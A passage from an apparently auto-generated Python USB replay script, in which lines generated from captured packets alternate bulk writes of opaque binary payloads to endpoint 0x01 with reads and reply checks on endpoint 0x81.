b\"\\xD3\\xB3\\x60\\x25\\xBE\\x8D\\x41\\x73\\x09\\x09\\xD1\\x17\\x33\\xB7\\xB0\\xC0\"\n b\"\\xF6\\x2C\\x88\\xE3\\xFD\\xC6\\x09\\x92\\x02\\xDD\\xB8\\x37\\x0F\\x18\\x44\\x36\"\n b\"\\x5B\\x8C\\xAA\\x89\\xB6\\xB8\\x10\\x48\\x24\\x15\\x2D\\xA3\\xDB\\x04\\x59\\xDF\"\n b\"\\xF2\\xEB\\x8F\\x9B\\x63\\x08\\xF2\\x5B\\xD0\\x73\\x54\\x33\")\n # Generated from packet 1531/1532\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1531/1532\")\n # Generated from packet 1533/1534\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x80\\x6A\\x2A\\xEF\\xFE\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3D\\x73\\x89\\xAC\\x7A\\xDF\\x6D\\x1B\"\n b\"\\x0A\\x92\\x2F\\x92\\x7B\\x16\\x12\\x1F\\xCA\\xB7\\x10\\xCA\\xBC\\x49\\x73\\xA7\"\n b\"\\x10\\x83\\x92\\x91\\x45\\xEB\\x89\\xA6\\x36\\xAD\\x60\\xE1\\x8A\\xC7\\xA5\\x00\"\n b\"\\x17\\x4C\\x5E\\x03\\xA7\\xFC\\x74\\xE2\\x6B\\xCF\\x0E\\x9F\\x47\\xDF\\x6D\\xFD\"\n b\"\\xCE\\xF6\\xA8\\x60\\xCD\\xBB\\xC6\\xC1\\x21\\x34\\xD0\\xB7\\x9E\\xAA\\x10\\x94\"\n b\"\\xC0\\xDD\\xC3\\x0C\\xF6\\x87\\x2D\\x7E\\xF6\\x49\\xD8\\x74\\x5A\\x54\\x32\\x96\"\n b\"\\xB6\\x08\\xA2\\xCA\\x88\\xB0\\x66\\xD5\\x2C\\x4D\\x8A\\x2A\\x6A\\xB1\\x92\\x96\"\n b\"\\xAA\\xB1\\xDF\\x4D\\x83\\xB6\\x32\\xD7\\x47\\x12\\xB4\\x5D\\x2B\\x17\\x9C\\x08\"\n b\"\\x33\\x6D\\xAC\\xC2\\x69\\x1D\\xE6\\x89\\x5A\\x74\\x6C\\xC0\\x24\\xAD\\x9B\\x7F\"\n b\"\\x2E\\x8F\\x20\\x51\\xE6\\x70\\x70\\xE7\\x58\\x7D\\xD9\\x16\\x9B\\xD2\\x35\\xB5\"\n b\"\\x33\\x01\\x72\\xFE\\xB3\\xAB\\x27\\x97\\x25\\x46\\xAA\\x7B\\xE4\\x8C\\x1B\\x2B\"\n b\"\\xDA\\x42\\x16\\xC3\\x81\\xC5\\x3A\\xA1\\xC1\\xFD\\xC9\\xCC\\x0B\\x17\\xCF\\x5E\"\n b\"\\x72\\x63\\x34\\x4E\\xFE\\xA6\\x53\\xF6\\x62\\x30\\x56\\x87\\xCC\\x3D\\x50\\x1D\"\n b\"\\x17\\x18\\x1E\\xEC\\xB9\\x3B\\xEA\\x41\\xF6\\x28\\x23\\x94\\x8B\\x55\\x27\\x7A\"\n b\"\\x49\\x91\\xD0\\x3B\\x9C\\x8F\\xDF\\x4B\\x38\\xC7\\x1F\\xBB\\x5D\\xAF\\x78\\xCA\"\n b\"\\xF0\\xE9\\x83\\xFA\\x18\\x30\\x26\\xC9\\x54\\x52\\xD9\\xBC\\xEB\\x82\\x77\\x7B\"\n b\"\\x55\\x85\\x87\\x5A\\xA4\\xE3\\x5A\\x46\\xA7\\x6A\\x8C\\x7C\")\n # Generated from packet 1535/1536\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1535/1536\")\n # Generated from packet 1537/1538\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEF\\x75\\x08\\xC8\\xD9\\x1B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x5C\\x60\\x6A\\xA2\\x96\\xE7\\x22\"\n b\"\\x9B\\x07\\xDD\\x8C\\xCF\\xBD\\x18\\xB3\\x4B\\xDF\\xBF\\x30\\x75\\x12\\xE4\\x80\"\n b\"\\xF1\\x38\\x52\\x05\\x2C\\x34\\x5C\\xBC\\x9B\\x5B\\x54\\x6C\\x13\\x60\\xE2\\x85\"\n b\"\\x93\\x0C\\x34\\xAF\\x6B\\xB1\\xA1\\x9A\\x34\\xE1\\x6E\\xBF\\xE7\\x9B\\x3E\\x9C\"\n b\"\\x45\\x6D\\x1E\\x1A\\x39\\x2D\\x3B\\x3B\\xBD\\xB4\\xC7\\xBA\\xA3\\x84\\xF1\\xB6\"\n b\"\\x89\\xBE\\xF2\\xF8\\x6F\\x18\\x68\\x65\\xC5\\x57\\xAE\\x18\\x9C\\xA1\\x44\\xB4\"\n b\"\\xBF\\xDF\\x13\\xB2\\xE4\\xCF\\x79\\x50\\x63\\xC3\\xF4\\xCE\\x33\\x8F\\x7F\\x24\"\n b\"\\x93\\xE4\\xBA\\xFF\\x88\\xB1\\xA6\\xC4\\x3E\\x84\\x10\\xE0\\x75\\xF0\\x68\\x12\"\n b\"\\xC3\\x93\\xC2\\xCB\\x63\\x35\\x23\\x21\\x1F\\xED\\xA4\\xA8\\x61\\xC8\\xD4\\x68\"\n b\"\\xF0\\x6E\\xE9\\x00\\xBF\\xF3\\xD3\\x07\\xFC\\x47\\xE5\\x50\\x66\\xEC\\x13\\x0E\"\n b\"\\xD3\\xC5\\x91\\xA9\\x06\\xA3\\xA8\\xF6\\x97\\x23\\x4D\\x24\\xC1\\x7C\\x62\\x0E\"\n b\"\\x7D\\xD0\\xDE\\x75\\x42\\xF5\\xFE\\x6C\\xF1\\x79\\x1F\\x6F\\x38\\xFB\\x6E\\xA3\"\n b\"\\x0A\\x23\\x4D\\x7C\\x21\\xD2\\xA5\\x32\\x06\\x61\\x1B\\xA5\\x94\\x3F\\x77\\x4C\"\n b\"\\xE0\\x65\\xB7\\x46\\xE0\\x41\\xF1\\x7E\\xF5\\xE4\\x5D\\x10\\xC1\\x44\\xA0\\xF6\"\n b\"\\xB9\\x6A\\x21\\x2B\\xC5\\xA5\\xB3\\x9B\\xFD\\x63\\x28\\x3A\\x87\\x15\\x21\\x01\"\n b\"\\x4B\\xFD\\xAA\\x26\\xFD\\xFE\\x3C\\xC3\\x3B\\x35\\x74\\x23\\x4B\\x0C\\x8E\\xD5\"\n b\"\\x7E\\xDE\\xA1\\xB2\\x91\\x20\\x90\\x19\\xF0\\x7E\\xE1\\x3B\")\n # Generated from packet 1539/1540\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1539/1540\")\n # Generated from packet 1541/1542\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD3\\x15\\x20\\x28\\x71\\x08\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x8F\\x41\\x27\\x4A\\xEB\\x1D\\x0E\"\n b\"\\xCF\\x3C\\x43\\x51\\x46\\x94\\xDB\\xC1\\x4B\\xEF\\x25\\xDE\\xA5\\xB4\\xEB\\xAB\"\n b\"\\x8D\\x5E\\xDA\\xB5\\x4A\\xB6\\xE8\\x56\\x34\\x95\\x93\\x44\\x1A\\xB6\\xC2\\xA1\"\n b\"\\xEB\\x5A\\x2A\\xD5\\x10\\x82\\x11\\xE4\\xDF\\x6F\\xA8\\xC6\\x48\\xC4\\x9E\\xDE\"\n b\"\\xFD\\xBB\\xBB\\x69\\x3C\\x2A\\x2A\\x05\\x24\\xA9\\x29\\xF5\\x65\\xF5\\x71\\xD4\"\n b\"\\x8A\\xDC\\x3A\\x35\\x37\\x3F\\x03\\xEC\\xA6\\xAA\\x60\\x4E\\x02\\x35\\x2C\\xCE\"\n b\"\\x18\\xF5\\x77\\x4D\\x37\\x84\\x27\\x4E\\x19\\x77\\xAA\\x66\\x61\\xE1\\xC7\\x3A\"\n b\"\\x8F\\x1C\\xDF\\x28\\x3A\\x53\\x4E\\x22\\x01\\x26\\x90\\x48\\xCD\\xA8\\x02\\x1E\"\n b\"\\xE3\\xC5\\x6D\\xA4\\xA7\\x98\\xAF\\x3F\\x46\\x9D\\x4B\\x76\\x88\\x56\\x19\\xF4\"\n b\"\\x9C\\xDB\\xE7\\xCD\\xB4\\x74\\x8F\\x92\\xF1\\x16\\x4C\\x63\\x62\\x26\\x7D\\xB9\"\n b\"\\x75\\x0F\\x58\\xBD\\x28\\x7D\\x12\\x70\\x71\\xCB\\x37\\x4C\\x9B\\xE0\\xB9\\x1B\"\n b\"\\xFC\\x8C\\x0A\\xE2\\xD2\\x46\\x0A\\xBE\\x1A\\x3E\\xF5\\xA3\\x2B\\x23\\xC9\\x82\"\n b\"\\xC8\\xD9\\x2F\\xA4\\x04\\xEC\\xF5\\xBB\\x67\\x8F\\xCA\\x6E\\xD4\\xEF\\xC5\\x98\"\n b\"\\x91\\x84\\x6F\\x5F\\xBE\\x62\\xD6\\x8F\\x1E\\xB1\\xAE\\x51\\x5B\\x59\\x6B\\x47\"\n b\"\\x22\\xB9\\x2A\\x88\\x24\\xB1\\x6E\\xD9\\x31\\x8B\\xC5\\xB6\\x22\\xD7\\x93\\xEE\"\n b\"\\xF6\\xC7\\x84\\xE1\\x50\\xD4\\x8D\\xF0\\xF2\\xB8\\xBB\\x97\\x96\\x3E\\xFF\\x2F\"\n b\"\\xF1\\x1C\\x66\\x25\\xD6\\xC2\\xBC\\x55\\xD0\\x28\\x5A\\x3A\")\n # Generated from packet 1543/1544\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1543/1544\")\n # Generated from packet 1545/1546\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA8\\x1D\\x8C\\x24\\x9F\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA9\\x42\\xBB\\xD6\\xA6\\xC5\\xCC\\x77\"\n b\"\\xF4\\x29\\x3C\\xAE\\x95\\x0F\\x75\\x3E\\x3B\\xC1\\x11\\x0B\\xAF\\x07\\x77\\xEE\"\n b\"\\x5D\\x69\\x2E\\xC8\\xF5\\x12\\xB9\\x94\\x45\\xFC\\xBF\\xE5\\x8D\\x8D\\xC9\\x49\"\n b\"\\x62\\x37\\x05\\x7C\\xF4\\x22\\x77\\x1D\\x7B\\x3F\\x6F\\xF0\\x02\\x10\\x2E\\xBE\"\n b\"\\xC4\\x99\\xBC\\xBE\\x06\\x33\\xDD\\xDF\\xE6\\xC9\\x84\\x33\\xC0\\x13\\x25\\x2A\"\n b\"\\x9D\\xFE\\xFB\\xC4\\x6A\\x68\\xE6\\x6B\\x5F\\xA8\\xA5\\xED\\x62\\x40\\xA7\\xE4\"\n b\"\\xB8\\xF9\\xF9\\x0D\\x8A\\xB0\\x2E\\x9C\\x8A\\x2E\\xBB\\x1C\\x76\\xAD\\x40\\x80\"\n b\"\\xCA\\x41\\x21\\xBC\\x84\\x40\\x5C\\x46\\x0F\\xF3\\x70\\x35\\xB8\\xC9\\x1B\\xA2\"\n b\"\\x12\\x20\\xAA\\x3B\\xF1\\x59\\x1D\\x63\\xB3\\x7D\\xA1\\x9A\\xB6\\xF3\\x26\\xCB\"\n b\"\\x51\\x75\\xCC\\x9B\\xE1\\xDF\\xF6\\xD3\\x13\\xFC\\x45\\x36\\xD4\\x60\\xC5\\xF2\"\n b\"\\x52\\x5E\\xDF\\x95\\xB4\\x2C\\xD0\\xF0\\x1B\\x70\\x8D\\xDA\\xC9\\x60\\xB4\\x92\"\n b\"\\xC6\\x9B\\xEB\\x40\\x4F\\x2E\\x7B\\xF2\\x7D\\x8C\\xA3\\x84\\x1D\\x9D\\xC8\\x3F\"\n b\"\\x26\\xA3\\x8C\\x37\\x18\\xDE\\xFF\\x09\\x48\\x98\\x63\\x3D\\xF4\\xBF\\xD0\\x23\"\n b\"\\xC7\\x93\\x50\\xAC\\x67\\x39\\xCC\\x78\\x5C\\x0E\\x77\\x60\\x6E\\x35\\x59\\xBE\"\n b\"\\x7F\\xD1\\x9C\\xA5\\x5B\\x97\\xCA\\x17\\xA2\\x9E\\x5B\\xE1\\xB8\\x40\\xC5\\x1E\"\n b\"\\x48\\xA2\\xD8\\xCC\\xF4\\xF0\\x00\\xC8\\x39\\xB8\\xB7\\xF0\\xAD\\x08\\x78\\x3F\"\n b\"\\xAC\\x4A\\x45\\x7E\\x4D\\x14\\x03\\x34\\x4E\\xA0\\x26\\x60\")\n # Generated from packet 1547/1548\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1547/1548\")\n # Generated from packet 1549/1550\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9E\\x37\\x2F\\x28\\xE2\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0A\\x26\\xB8\\x63\\x9F\\xD5\\x53\\xDB\"\n b\"\\x83\\xF8\\xE3\\xC0\\x08\\x8D\\x91\\x9B\\x60\\x41\\xD7\\xE0\\xD6\\x52\\x1F\\x12\"\n b\"\\x4C\\xB5\\x03\\xFE\\x47\\x94\\x81\\x4F\\x19\\x6E\\x22\\x65\\xEE\\x19\\x06\\x51\"\n b\"\\x7D\\x0E\\x69\\x7E\\xDC\\x99\\x4A\\xBE\\x25\\x59\\x16\\x40\\x8E\\xA4\\xC9\\xEF\"\n b\"\\xE6\\xB4\\x2E\\xD9\\x77\\x96\\x42\\xED\\xC2\\xF2\\xA4\\xD4\\x19\\x89\\x82\\x00\"\n b\"\\x28\\xE9\\x97\\xA2\\x7A\\xAB\\xE8\\xDC\\x87\\x2E\\x15\\xE1\\xC8\\x0F\\xE9\\x96\"\n b\"\\xD7\\xA7\\x94\\x44\\x42\\x0C\\xC1\\x32\\x29\\x8F\\x5B\\x51\\x59\\xE6\\x35\\x66\"\n b\"\\xD5\\x5C\\xB4\\x64\\x48\\xE6\\xA3\\xB0\\xED\\x82\\x12\\x1F\\x40\\xE6\\xA8\\x47\"\n b\"\\x0D\\x3F\\x77\\x1A\\xCD\\x36\\xC3\\x64\\xB5\\xDF\\x02\\xEA\\x8A\\x62\\x75\\xD1\"\n b\"\\x8B\\xD3\\x82\\x4F\\x90\\xE5\\xE5\\x80\\x58\\x2C\\x31\\xED\\x53\\xA3\\xF3\\xBC\"\n b\"\\xEC\\xE0\\x4E\\x0A\\xF5\\x15\\xE8\\x16\\x8F\\x65\\xF8\\xF1\\xB2\\xB4\\xB8\\xFC\"\n b\"\\xA4\\xE5\\x35\\xCA\\x74\\xC1\\xAF\\x7A\\xD1\\x5C\\xBD\\x89\\xBD\\x69\\x35\\x16\"\n b\"\\xFC\\x7E\\x36\\x17\\x6B\\x60\\xD2\\xBE\\xB1\\x0D\\xD4\\x2F\\xCA\\x5E\\x09\\xD6\"\n b\"\\xFD\\x7C\\xA7\\x66\\xAA\\xF6\\x5C\\x60\\x7F\\xD2\\xD8\\x7A\\x9C\\x01\\x6D\\xA3\"\n b\"\\x96\\x36\\x0E\\x4B\\xAF\\xE5\\xF0\\x41\\x44\\x30\\x94\\xA9\\xB6\\x35\\x6D\\x68\"\n b\"\\x2D\\x1B\\xED\\xD4\\x87\\xE9\\x12\\x20\\xE9\\xFF\\x38\\x42\\x40\\x74\\x8D\\x76\"\n b\"\\xB4\\x7B\\xCE\\x91\\x9F\\x54\\xD9\\x92\\x3A\\xA0\\xCC\\xDE\")\n # Generated from packet 1551/1552\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1551/1552\")\n # Generated from packet 1553/1554\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x28\\xBC\\xBC\\xCA\\xA5\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB2\\xE3\\x64\\x8B\\xD4\\x27\\x20\\x57\"\n b\"\\x8D\\x3D\\x56\\xE7\\x4E\\xDD\\x9F\\x43\\x34\\x36\\xE8\\xAF\\xE3\\x2E\\xF0\\x5E\"\n b\"\\x3A\\xB7\\x0F\\x7E\\x87\\x5A\\xBC\\xB2\\x6D\\xDF\\x84\\x89\\x09\\x3C\\xE8\\xA3\"\n b\"\\xA0\\xE4\\x85\\x86\\xE7\\xF3\\x74\\x6B\\xB2\\x1B\\xA9\\x03\\x10\\x0F\\x69\\x45\"\n b\"\\xFA\\x18\\xC4\\x6B\\x3D\\x36\\x84\\x15\\x4E\\x72\\x3C\\x9C\\xCD\\xEF\\xA7\\xBA\"\n b\"\\xE6\\xBE\\x20\\xCD\\xF0\\x80\\xBA\\x4F\\x86\\x1F\\x5C\\x48\\x99\\x2F\\xFF\\x8B\"\n b\"\\x0A\\x35\\xD8\\x91\\x17\\x61\\xD7\\xA9\\x55\\xD4\\x3B\\x4B\\x22\\xAA\\x43\\xBE\"\n b\"\\x2C\\x8E\\xDD\\xBC\\x89\\x06\\x38\\x74\\x22\\x14\\x76\\x9B\\x16\\xAB\\x34\\xDF\"\n b\"\\x41\\xAF\\x19\\xF6\\xAE\\xE6\\xF1\\x7A\\x26\\xD5\\x99\\xAA\\xFE\\xCF\\xF0\\xD6\"\n b\"\\x33\\x37\\x94\\x7A\\x81\\x54\\xC3\\xCD\\xCA\\xE1\\x06\\xEE\\xD5\\xD3\\xE5\\xD8\"\n b\"\\xA7\\x4C\\x67\\x5D\\xEB\\xED\\xBF\\xD7\\x93\\x8F\\x32\\x21\\x90\\xED\\xB4\\xCA\"\n b\"\\x2C\\xC6\\xA9\\x74\\x81\\x34\\x9F\\x18\\x30\\xFB\\xE5\\xCA\\x59\\x61\\x93\\xBC\"\n b\"\\x68\\x2A\\x0F\\xB6\\xC5\\x05\\xA6\\xEF\\x89\\xA5\\x28\\xBF\\xC7\\xF1\\x9E\\x55\"\n b\"\\xE5\\xC0\\x68\\x88\\x6D\\x6A\\xA5\\xC4\\x23\\xB3\\xD2\\xC4\\x1C\\x9F\\xEA\\xBD\"\n b\"\\xC4\\xC7\\xE1\\x01\\x3D\\x8D\\x4E\\x96\\x95\\x6D\\xE0\\x83\\xD4\\xDD\\x0C\\x89\"\n b\"\\x3D\\x00\\x33\\x1D\\x05\\x73\\x38\\xF2\\xB0\\x95\\x2C\\xC4\\x5C\\x23\\x7C\\xE3\"\n b\"\\xEE\\xEE\\x3F\\x62\\x69\\x9D\\xF7\\x43\\xBC\\x84\\xF7\\x56\")\n # Generated from packet 1555/1556\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1555/1556\")\n # Generated from packet 1557/1558\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC3\\x0C\\x3D\\x88\\xE2\\x28\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\x0F\\x63\\x05\\x26\\xB2\\xD3\\xFB\"\n b\"\\x94\\x27\\x2C\\x23\\xA2\\x8D\\x2E\\x65\\x83\\xD3\\xE3\\x3F\\x63\\x17\\x9B\\xED\"\n b\"\\x02\\x3B\\x13\\x7A\\xAE\\xF5\\xE3\\xBC\\xBD\\xF9\\xB8\\x8D\\x55\\x50\\x95\\xDE\"\n b\"\\x05\\xB4\\x4A\\x1E\\xA6\\xB0\\x17\\xDD\\x85\\x5A\\x50\\x2C\\xEC\\xAE\\x72\\x24\"\n b\"\\xC9\\x31\\xF0\\xE6\\xEE\\x66\\x41\\xEB\\x47\\x7B\\xE2\\xE8\\x55\\x00\\x81\\x06\"\n b\"\\xFB\\x85\\xD5\\x5B\\x71\\x38\\x34\\xFF\\xD1\\x8E\\x5E\\x8A\\x9C\\x83\\x0E\\xB7\"\n b\"\\xCD\\x14\\xE7\\x66\\xAD\\xC9\\x07\\xF6\\x03\\xC9\\xB1\\xED\\x13\\x46\\x18\\xA0\"\n b\"\\x81\\xD6\\x08\\x2F\\x60\\x81\\x38\\x99\\xDC\\xE5\\xDB\\x18\\x00\\x33\\xBE\\xB6\"\n b\"\\xFF\\xD0\\x31\\xB0\\x22\\xCD\\xA3\\x25\\xA4\\x6F\\x26\\x7B\\xFD\\x64\\xE2\\x51\"\n b\"\\xA2\\xBE\\x64\\x2A\\xE5\\xC9\\x04\\xF4\\xD1\\x31\\xB4\\x30\\xD3\\xC6\\x85\\x9D\"\n b\"\\x91\\x08\\xAD\\x6B\\x36\\xD3\\x16\\x81\\xBA\\xF8\\x2F\\xB1\\xF2\\x65\\x56\\x86\"\n b\"\\x0F\\x71\\x8F\\xEF\\x67\\x7A\\xE4\\xFB\\x1B\\x60\\xFD\\xAB\\xD5\\x96\\xF1\\xDE\"\n b\"\\xE9\\xB3\\xAD\\x7E\\x4B\\xEA\\xE2\\xE3\\xBA\\x86\\x56\\x08\\xED\\x73\\x0E\\x77\"\n b\"\\x78\\x2B\\xC9\\x0C\\x7C\\x5C\\xF8\\x23\\x08\\xF6\\xFA\\xAB\\x99\\x92\\xB8\\xB2\"\n b\"\\x69\\x70\\xBA\\xB4\\x28\\x49\\x2E\\xCA\\x86\\xB3\\x2F\\xB9\\xFB\\x07\\x3E\\xE5\"\n b\"\\x9A\\xE4\\x8D\\xE1\\xE1\\x6E\\x56\\x2B\\x9D\\x0F\\xF8\\x8C\\xB1\\xD1\\x24\\xF7\"\n b\"\\x17\\xBE\\x89\\xC2\\x2C\\xC8\\x5E\\x6F\\x69\\xFF\\x99\\x01\")\n # Generated from packet 1559/1560\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1559/1560\")\n # Generated from packet 1561/1562\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2F\\x87\\x51\\x5A\\x0C\\x2F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\xC6\\x94\\x75\\xF6\\xDE\\x68\\x9A\"\n b\"\\xDB\\xB3\\x58\\xAE\\xED\\x3F\\xA0\\x7D\\x82\\x19\\xF6\\x48\\x1C\\xF0\\x0F\\x05\"\n b\"\\xC3\\x15\\xB2\\xF8\\xB9\\x5A\\x57\\xEF\\xAA\\x3B\\xA8\\xB0\\xC3\\x7B\\xB4\\xB0\"\n b\"\\x91\\x6E\\xDA\\xC7\\xF1\\x86\\x8D\\x86\\x72\\x28\\x4B\\x99\\xE3\\xA8\\x43\\xC7\"\n b\"\\xCC\\xA4\\xA5\\xB8\\xE7\\xBD\\x1D\\x18\\xC0\\xC3\\x26\\x4A\\xB4\\x2B\\x4A\\x37\"\n b\"\\xDE\\x94\\x44\\xE6\\xE0\\x99\\x1E\\x4E\\x28\\x6B\\x95\\xA5\\xE6\\x3F\\xBC\\x6E\"\n b\"\\x06\\x7C\\x1A\\x62\\x69\\x39\\xA3\\x19\\x9E\\x69\\x34\\xB7\\x7E\\x89\\x4A\\x7B\"\n b\"\\x4E\\x40\\x62\\x1B\\xB6\\x06\\x0C\\xB0\\xB6\\x97\\x31\\x22\\x42\\x87\\xFB\\x12\"\n b\"\\x83\\x1F\\x42\\xDA\\xE4\\x70\\x12\\x8C\\x0D\\x87\\x61\\xC4\\x8C\\x7F\\x79\\xC1\"\n b\"\\x42\\x5C\\x1F\\x4A\\x78\\xB9\\xB0\\x05\\xEF\\xA8\\xA9\\xEC\\x7D\\xB6\\x8D\\x50\"\n b\"\\xDA\\xC8\\x8C\\x7D\\xC4\\x0A\\xD2\\x2A\\x25\\x61\\xCA\\x98\\x1E\\x16\\x02\\x0B\"\n b\"\\xDF\\x93\\x7E\\x22\\xE5\\x41\\x3F\\x33\\xF6\\xBE\\xF1\\xE1\\x2B\\x5B\\x10\\xF8\"\n b\"\\x4B\\x06\\x2B\\xE0\\x7E\\xD6\\xDC\\x91\\xC2\\x77\\xAC\\x17\\x20\\x9F\\x39\\x97\"\n b\"\\x3A\\xC0\\x80\\xD4\\x9A\\xD6\\x6F\\x13\\x00\\x1A\\x26\\xB1\\xEE\\x36\\x4F\\x3B\"\n b\"\\xC7\\xF1\\x18\\x7E\\xED\\x35\\xEE\\x56\\x39\\x96\\xD7\\x60\\x93\\xD7\\x4C\\xE5\"\n b\"\\xAB\\xAD\\x08\\x0F\\xCA\\xEF\\xC0\\x1F\\x4F\\x66\\x20\\xCD\\x7F\\xF6\\x46\\xF1\"\n b\"\\x97\\xE7\\x16\\x64\\xFF\\xA3\\xD8\\x0E\\xC5\\x28\\x8B\\x99\")\n # Generated from packet 1563/1564\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1563/1564\")\n # Generated from packet 1565/1566\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEB\\x15\\x7D\\x83\\x9B\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD3\\xC3\\xCD\\xE7\\x7F\\x1F\\x61\\x50\"\n b\"\\xE5\\xEC\\x0F\\xE1\\xDD\\x3B\\xD2\\xB7\\x6B\\x66\\x8C\\xA1\\x28\\x2E\\x8A\\x78\"\n b\"\\xCE\\x29\\x4F\\x35\\xCB\\x38\\x42\\x88\\x37\\xC0\\x9A\\x3F\\x25\\xBE\\x0C\\x29\"\n b\"\\xFF\\x2B\\x57\\xDB\\xD7\\x96\\x38\\x58\\x61\\xAC\\xAF\\x9A\\x09\\xD0\\x61\\x99\"\n b\"\\x91\\xC0\\x3A\\x9E\\x54\\x48\\xF1\\x34\\x3B\\x15\\x44\\xF5\\xFA\\x3C\\x7D\\x59\"\n b\"\\x9C\\xFB\\x34\\x15\\xFA\\x65\\xC9\\xB9\\xEA\\xE4\\x3C\\xCB\\x82\\x65\\x48\\xBE\"\n b\"\\x06\\x19\\xA7\\xC2\\xF7\\x52\\x23\\x30\\xEC\\xFB\\x43\\x0D\\x62\\x12\\xF7\\x64\"\n b\"\\x6C\\xA5\\xB6\\x24\\xB4\\x5C\\xDA\\x63\\x2C\\x3E\\xC2\\xA7\\x95\\xCF\\x0C\\xDF\"\n b\"\\x8D\\x64\\xC6\\xBC\\x79\\xC3\\x4A\\xBF\\xAC\\x0F\\x40\\x22\\xDB\\x51\\x35\\xE1\"\n b\"\\x87\\xF0\\x2B\\x39\\x2E\\x83\\x39\\x05\\x9D\\xFB\\xC0\\xB2\\xB5\\x8D\\xEC\\x3A\"\n b\"\\x91\\xDE\\x27\\x17\\x3D\\x16\\x52\\xC9\\x37\\xC1\\xB1\\x9E\\xE5\\x73\\xA1\\xA6\"\n b\"\\xB4\\xE4\\xC7\\x0D\\xF8\\xB3\\xCF\\x81\\x86\\x9E\\xE3\\xA0\\x3F\\x44\\xEF\\x26\"\n b\"\\xAA\\x0E\\xB2\\xA3\\x72\\x2B\\x1D\\x79\\xF8\\x2C\\xD4\\xB2\\x43\\x88\\x8A\\x73\"\n b\"\\x33\\x97\\xE5\\x91\\x22\\x01\\x1A\\x13\\xE4\\x1E\\xA7\\x41\\xEC\\xA0\\xD6\\xAB\"\n b\"\\x30\\x78\\x4F\\x84\\x58\\x0F\\xAE\\x93\\x2D\\x96\\x26\\xC6\\x40\\xD6\\xD0\\xEC\"\n b\"\\x04\\xDF\\xAB\\x6D\\xCE\\xB9\\x0F\\xA2\\x2C\\x38\\x3B\\xEF\\x20\\x57\\x72\\xEF\"\n b\"\\x1F\\xA9\\x09\\x2C\\xCA\\xA5\\xD1\\xC1\\x25\\xC8\\x0F\\xB8\")\n # Generated from packet 1567/1568\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1567/1568\")\n # Generated from packet 1569/1570\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7A\\xD5\\x01\\x8F\\xB4\\x66\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x69\\xA3\\x8A\\x13\\x3F\\xB7\\x80\"\n b\"\\x1E\\xD8\\x4E\\x44\\xEB\\x5A\\xF7\\x91\\x63\\x33\\x27\\x35\\x26\\x0F\\x28\\x48\"\n b\"\\x2F\\x6C\\x02\\xF6\\xBC\\x69\\xC9\\x0B\\x8F\\x4F\\x58\\x3C\\xBC\\x37\\x61\\xB4\"\n b\"\\xB6\\xCF\\x8C\\xD7\\x21\\xA8\\x7B\\xA0\\x3D\\x1B\\x42\\xC0\\xD2\\x7F\\xED\\x21\"\n b\"\\x11\\xCE\\x84\\xB8\\x8C\\xDD\\x04\\x73\\x09\\x33\\x36\\xFF\\x0E\\x8C\\x5A\\xCC\"\n b\"\\xE6\\x24\\xCF\\x62\\xB0\\x59\\x81\\xC8\\x49\\xC6\\x65\\xB5\\xBF\\xFA\\xE5\\xBA\"\n 